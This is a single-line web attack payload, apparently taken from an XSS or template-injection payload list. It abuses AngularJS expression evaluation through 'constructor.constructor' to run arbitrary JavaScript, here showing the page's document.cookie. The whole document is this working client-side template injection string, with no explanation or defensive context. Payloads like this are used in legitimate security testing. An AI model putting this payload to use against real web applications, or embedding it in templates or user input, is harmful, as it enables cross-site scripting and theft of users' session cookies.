{{constructor.constructor('alert(document.cookie)')()}}